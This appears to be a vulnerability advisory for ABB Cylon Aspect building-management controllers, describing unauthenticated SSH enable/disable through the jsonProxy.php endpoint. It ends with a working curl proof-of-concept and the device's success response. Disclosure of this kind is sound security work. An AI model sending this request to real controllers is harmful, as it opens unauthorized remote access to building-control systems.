ABB Cylon Aspect version 3.08.01 is vulnerable to unauthorized SSH service configuration changes via the jsonProxy.php endpoint. An unauthenticated attacker can enable or disable the SSH service on the server by accessing the FTControlServlet with the sshenable parameter. The jsonProxy.php script proxies requests to localhost without enforcing authentication, allowing attackers to modify SSH settings and potentially gain further unauthorized access to the system.
3e98b4b396141e37a68a75be90c6aec7e9ecbd76dd24b82d33c08641bd3c4863
ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Remote SSH Service Control
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to unauthorized SSH service configuration changes. An unauthenticated attacker
can enable or disable the SSH service on the server by accessing the FTControlServlet
with the sshenable parameter. The jsonProxy.php script proxies requests to
localhost without enforcing authentication, allowing attackers to modify SSH
settings and potentially gain further unauthorized access to the system.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5857
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5857.php
21.04.2024
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$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=FTControlServlet?sshenable=1"
<html><head><title>FT Control Servlet</title></head><body>FT Control Servlet Information<br>Version: HTTP/1.0<br>Parameter: "sshenable" Value: "1?"<br>Requested File: /servlets/FTControlServlet<br>SSH RESTART REQUEST successful<br></body>
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